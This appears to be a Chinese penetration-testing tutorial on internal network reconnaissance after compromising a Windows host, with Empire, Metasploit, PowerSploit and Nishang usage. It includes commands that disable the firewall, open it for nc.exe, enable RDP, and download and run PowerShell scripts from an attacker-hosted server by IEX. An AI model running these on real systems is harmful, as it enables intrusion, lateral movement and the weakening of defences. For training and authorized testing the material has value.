目录
3．Nishang 中的 Invoke-ARPScan.ps1 脚本
2.1.工作组手动信息收集
1．查询网络配置信息
2．查询操作系统及安装软件的版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看系统信息
echo %PROCESSOR_ARCHITECTURE% #查看系统架构
wmic product get name,version #查看安装的软件版本，路径
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property
name,version" #powershell收集软件版本信息
3．查询本机服务信息
wmic service list brief
4．查询进程列表
tasklist /v
wmic process list brief
5．查看启动程序信息
wmic startup get command,caption
6．查看计划任务
schtasks /query /fo LIST /v7．查看主机开机时间
net statistics workstation 
8.查看用户
net user #查看本机用户列表
net localgroup administrators #获取本地管理员（通常含有域用户）信息
query user || qwinsta #查看当前在线用户
9.列出或断开本地计算机和连接的客户端的会话
net session
10．查询端口列表
netstat –ano 
11．查询补丁列表
Systeminfo #查看系统的详细信息。 
12．查询本机共享
net share #执行如下命令，查看本机共享列表和可访问的域共享列表（域内共享有很多时候是相同的）
wmic share get name,path,status #利用 wmic 查找共享
13．查询路由表及所有可用接口的 ARP 缓存表
查询路由表及所有可用接口的 ARP（地址解析协议）缓存表
route print
Arp –A
14．查询防火墙相关配置
（1）关闭防火墙
Windows Server 2003 系统及之前版本，命令如下。
netsh firewall set opmode disable
Windows Server 2003 之后系统版本，命令如下。
netsh advfirewall set allprofiles state off
（2）查看防火墙配置
netsh firewall show config
（3）修改防火墙配置
Windows Server 2003 系统及之前版本，允许指定程序全部连接，命令如下。
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
Windows Server 2003 之后系统版本，情况如下。
允许指定程序连入，命令如下。
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许指定程序连出，命令如下。
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
允许 3389 端口放行，命令如下。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
（4）自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
15．查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" #代理配置存在服务器为 127.0.0.1:1080 的配置信息
16．查询并开启远程连接服务
（1）查看远程连接端口
在cmd下使用注册表查询语句，命令如下，得到连接端口为 0xd3d，转换后为 3389
REG QUERY "HKEY_LOCAL_MACHINE\SYstem\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
（2）在 Windows Server2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
（3）在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYstem\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2.2自动信息收集
1.Windows 7 以上版本允许低权限的用户访问 WMIC并执行相关查询操作。 wmic脚本 执行后， 会将所有结果写入一个 HTML 文件 脚本下载地址 2.Empire下的信息收集(Empire: W12MRC5H) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > execute
2.3 查询当前权限
1.查看当前权限
whoami
2．获取域 SID
whoami /all #获取域 SID
3．查询指定账户的详细信息
net user XXX /domain #查询指定账户的详细信息
2.4 判断是否有域
搜集完本机相关信息后，接下来，就要判断当前内网是否有域。如果有，需要判断所控主机是否在域内。下面有几种方法1．使用 ipconfig 命令
ipconfig /all #执行如下命令，可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名等
nslookup hello.testlab #通过反向解析查询命令 nslookup 来解析域名的IP地址。使用解析出来的IP地址进行对比，判断域控制器和DNS服务器是否在同一台服务器上
2．查看系统详细信息
systeminfo #如下图所示域即域名，登录服务器为域控制器。如果域显示为WORKGROUP，表示当前服务器不在域内。当前域名为hello.testlab。 
3．查询当前登录域及登录用户信息
net config workstation ##工作站域DNS名称显示域名（如果显示为 WORKGROUP，则表示非域环境）。登录域表明当前用户是域用户登录还是本地用户登录，此处表明当前用户是本地登录。
4．判断主域
net time /domain #执行如下命令，判断主域，一般域服务器都会同时作为时间服务器。运行该命令后，一般会有如下三种情况。 1.存在域，但当前用户不是域用户，提示说明权限不够，如图
2.5 探测域内存活主机
1 利用 NetBIOS 快速探测内网
nbtscan 192.168.1.0/24
nbtscan.exe 192.168.1.0/24 
2.利用 ICMP 协议快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
strsubnet = "192.168.1."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strsubnet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = Getobject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where
Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Functioncscript c:\windows\temp\1.vbs3 通过 ARP 扫描探测内网
1.arp脚本
Arp.exe –t 192.168.1.0/202.EmpireEmpire 中的 arpsan 模块
(Empire: agents) > interact W91LA5G4
(Empire: W91LA5G4) > usemodule situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) > set Range 192.168.1.0-192.168.1.254
(Empire: powershell/situational_awareness/network/arpscan) > execute
3．Nishang 中的 Invoke-ARPScan.ps1 脚本
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt4 通过常规 TCP/UDP 端口扫描探测内网
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b
#ScanLine 是一款经典的端口扫描工具，Windows 全版本通用，体积小，仅使用单个文件，同时支持对 TCP/UDP 的端口扫描
2.6 扫描域内端口
关注点：
- 端口的 Banner 信息。
- 端口上运行的服务。
- 常见应用的默认端口。
1.telnet扫描
telnet DC 22
2.S扫描器
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
#S 扫描器是早期的一种比较快速的端口扫描工具，特别适合运行在 Windows Sever2003 以下的平台上，支持大网段扫描3 Metasploit 端口扫描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
PORTS => 1-1024
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 100
THREADS => 100
msf5 auxiliary(scanner/portscan/tcp) > run
4.powersploit扫描
1.powershell下执行kali打开apache服务
root@kali:/usr/share/windows-resources/powersploit# cp -r /usr/share/windows-resources/powersploit/ /var/www/html/
root@kali:/usr/share/windows-resources/powersploit# service apache2 start
win7
PS C:\Users\Administrator> IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.131/powersploit/Recon/Invoke-Portscan.ps1")
PS C:\Users\Administrator> Invoke-Portscan -Hosts 192.168.1.0/24 -Ports "80,445,22,139,3389"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" 
5.nishang端口扫描
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost6 端口 Banner 信息
在发现端口后，可以使用客户端连接工具或者 nc 连接，获取服务端的 Banner 信息。获取Banner 信息后，在漏洞库中查找对应 CVE 编号的 POC 、 EXP ，在 ExploitDB 、 Seebug 等平台上查 看相关的漏洞利用的工具，然后去验证漏洞是否存在。 相关漏洞的具体信息分析和共享，可以参考如下两个网站 bugtraq exploit-db
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。
